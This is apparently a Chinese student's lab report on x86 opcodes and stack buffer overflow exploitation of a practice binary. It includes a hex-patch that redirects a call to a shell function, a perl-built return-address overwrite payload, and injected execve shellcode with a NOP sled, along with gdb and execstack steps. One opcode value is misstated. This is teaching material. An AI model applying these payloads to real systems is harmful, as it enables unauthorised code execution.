一、核心知识点梳理
1.NOP, JNE, JE, JMP, CMP汇编指令的机器码
- NOP 为空操作指令,标准单字节机器码为 0x90,无操作数,执行时仅占用时钟周期不改变寄存器与内存状态,是填充对齐、延时的常用指令。
- JE 和 JNE 是基于 ZF 标志位的条件跳转指令,均为短跳转(-128~+127 字节范围),单字节 opcode 分别为 0x74(JE,ZF=1 时跳转)、0x75(JNE,ZF=0 时跳转),后紧跟 1 字节偏移量构成完整机器码;长跳转场景下则对应 0xF843、0xF845 双字节 opcode。
- JMP 是无条件跳转指令,编码分短、近、远三种,短跳转机器码为 0xEB+1 字节偏移,近跳转(段内)以 0xE9 为前缀加 2/4 字节偏移,无前置条件,执行时直接修改指令指针寄存器 EIP,实现程序流强制转移。
- CMP 为比较指令,本质是不存储结果的减法运算,核心作用是更新 EFLAGS 状态寄存器中的零标志位 ZF,其机器码随操作数类型变化:寄存器间比较常用 0x39/0x3B 前缀,寄存器与立即数比较以 0x83/0x81 为前缀,搭配操作数编码构成多字节机器码。
2.反汇编与十六进制编程器
- 反汇编工具以机器码为输入,依据 x86、ARM 等处理器指令集规范,将二进制机器码逐条翻译为可读性更强的汇编指令,同时标注地址、操作数、跳转关系与函数边界。该工具会解析指令格式、识别分支逻辑与函数调用,把零散的字节序列转化为具备逻辑结构的汇编代码,帮助分析程序执行流程、算法逻辑与恶意行为。
- 十六进制编程器也常被称作十六进制编辑器,可直接读取、修改文件或内存的原始二进制数据,以十六进制字符形式呈现字节内容,同时附带对应 ASCII 字符视图。它不做指令解析,仅面向原始字节流操作,既能查看可执行文件、固件、内存 dump 的底层数据,也可直接改写机器码、填充数据、修复文件字节。
3.构造payload进行bof攻击
- 缓冲区溢出(BOF)攻击就是通过合理构造Payload,利用程序缺乏内存边界校验的栈漏洞,篡改栈上的函数返回地址,从而控制程序执行流程。在构造Payload前,需要通过调试工具实测并精准计算缓冲区首地址到栈返回地址的偏移长度。常规Payload采用分层搭建的思路,先填充大量无效字符占满整个缓冲区空间,精准定位并覆盖栈中的EIP返回地址,把程序原本的正常返回地址,替换为可控的有效内存地址,让程序执行流程跳转至预设的恶意代码区域。在此基础上,尾部拼接Shellcode或ROP指令链,最终实现命令执行、权限提升等攻击效果。
二、实践过程
实验环境配置
- 执行
sudo vim /etc/hostname修改主机名为本人姓名拼音,输入:wq!退出并保存,重启虚拟机后可以看到已经把主机名修改成功
![image]()
- 右键文件重命名为
pwn20252903
![image]()
任务1:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 执行
objdump -d pwn20252903| more反汇编目标程序
![image]()
- main函数:地址区间080484af~080484c0,080484b5位置调用foo,对应机器码e8 d7 ff ff ff,指令占5字节,后续指令地址为080484ba。
- foo函数:入口地址08048491,通过gets读取输入、puts完成输出,未限制输入长度,存在溢出漏洞。
- getShell函数:入口地址0804847d,调用system执行/bin/sh,运行后可拿到交互式Shell。
想要实现流劫持,需要修改 CALL 指令的 4 字节偏移量,将调用目标从 foo 切换为 getShell,在x86 架构下,CALL 指令机器码由 0xE8 搭配 4 字节相对偏移量构成,偏移量通过目标函数地址减去 CALL 指令下一条指令地址得出。
原始调用 foo 函数时,经计算偏移量为 0xffffffd7,按小端序存储为 d7 ff ff ff,与反汇编结果匹配;若要调用 getShell 函数,计算得偏移量为 0xffffffc3,小端序存储为 c3 ff ff ff。只需把原指令机器码中的 d7 ff ff ff 替换为 c3 ff ff ff,就能让 main 函数直接调用 getShell 函数。
- 通过vim进入目标文件编辑器
![image]()
- 输入
:%!xxd文件就会以十六进制格式显示,能看到地址、十六进制值和对应的 ASCII 字符
![image]()
- 查找
/e8 d7的机器码
![image]()
- 按i进入insert模式,将目标所在的机器码其中的d7修改为c3
![image]()
- 输入
:%!xxd -r将将十六进制格式还原为二进制格式,保存并退出vim编辑器
![image]()
- 再次执行
objdump -d pwn20252903| more打开反汇编目标程序,找到目标机器码确定已被修改
![image]()
- 执行
./pwn20252903,输入whoami发现成功获取Shell
![image]()
任务2:利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 通过反汇编结果分析foo函数,从
foo函数的反汇编可知,其栈帧中缓冲区起始地址为ebp-0x1c,而ebp下方4字节为返回地址,因此缓冲区到返回地址的偏移量为0x1c + 4 = 0x20。 - 由于
gets函数不限制输入长度,可构造攻击字符串:前32字节用任意字符填充,覆盖缓冲区与旧栈基址,从第33字节开始,以小端序写入getShell函数地址0x0804847d,即\x7d\x84\x04\x08,以此覆盖栈上保存的返回地址。 - 当
foo函数执行完毕、调用ret指令时,处理器会从栈中读取被篡改的返回地址,直接跳转到getShell函数,触发system("/bin/sh")调用,最终获取交互式Shell
![image]()
- 使用perl语言构造包含二进制Payload的文件
perl -e 'print "A" x 32;print "\x7d\x84\x04\x08"' > 2903lrq
![image]()
- 输入
(perl -e 'print "A"x32 . "\x7d\x84\x04\x08"'; cat) | ./pwn1执行攻击后进入Shell交互界面,通过ls、whoami说明返回地址覆盖成功,获取到交互式Shell
![image]()
任务3:注入一个自己制作的shellcode并运行这段shellcode。
- 安装execstack工具
wget http://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb
![image]()
- 解压缩execstack工具压缩包
sudo dpkg -i execstack_0.0.20131005-1.1_amd64.deb
![image]()
- 给 pwn2903 开启栈可执行权限,并验证生效情况,发现已生效
execstack -s ./pwn2903
execstack -q ./pwn2903
![image]()
- 关闭 ASLR(地址随机化)
![image]()
- 使用返回地址构造载荷,并将perl生成的字符串存储到
attack252903文件中
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x04\x03\x02\x01\x00"' > attack20252903
![image]()
- 输入
(cat attack252903; cat) | ./pwn2903,并打开一个新的终端,输入指令ps -ef | grep pwn2903查看进程的PID
![image]()
- 启动gdb再输入
attach 51648
![image]()
- 输入
disassemble foo找到ret指令地址
![image]()
- 输入指令
break *0x080484ae设置断点
![image]()
- 在第一个终端中输入回车,在第二个终端中输入c,将程序执行到断点前
![image]()
- 输入
info r esp查看栈顶指针寄存器的值,得到0xffffcf5c
![image]()
x/16x 0xffffcf5c查看该地址的内存内容,发现0xffffcf5c地址处的值为0x04030201,其后紧跟NOP滑板0x90909090
![image]()
- 最终的shellcode为
perl -e 'print"A"x32,"\x60\xcf\xff\xff","\x90"x40,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"' > attack252903,运行(cat attack252903; cat) | ./pwn2903拿到shell
![image]()
- 输入
ls、whoami确认攻击情况,确认攻击成功
![image]()
三、学习中遇到的问题及解决
1.输入:wq出现编辑器默认禁止写入操作
解决方案:若要强制保存,需要在命令后添加 ! 来覆盖只读限制,即输入:wq!即可

2.在 Kali 里装 gdb 失败,报 404 错误

解决方案:更新软件源再执行安装
sudo apt update
sudo apt install gdb -y

四、学习感想和体会
本次 x86 汇编与缓冲区溢出攻击实操实验,让我建立起对二进制程序运行逻辑的底层认知。层层递进的实验环节让我既夯实了基础,也让我对二进制安全有了更具象、更深刻的理解。通过对照反汇编结果与原始十六进制字节,我理解了 NOP 空操作、CMP 比较与条件跳转指令的本质。x86 架构的大小端存储、相对地址计算规则,以及机器码与汇编语言的对应关系,都不断在实操中变得清晰。
缓冲区溢出实验是本次学习的难点。我通过分析 foo 函数栈帧布局,精准计算出缓冲区到返回地址的 32 字节偏移,逐步掌握了覆盖返回地址、搭建 NOP 滑板、注入自定义 Shellcode 的完整攻击流程,让我学会了如何使用 execstack、GDB 调试等工具,学会了通过断点查看寄存器与内存状态,定位 Shellcode 执行地址。
这次实验将汇编、逆向与漏洞利用知识融会贯通,后续我会继续深耕底层原理,加强调试工具的使用熟练度,同时树立安全开发意识,在学习攻击技术的同时,注重漏洞防御思路的积累,稳步提升网络安全综合能力。



























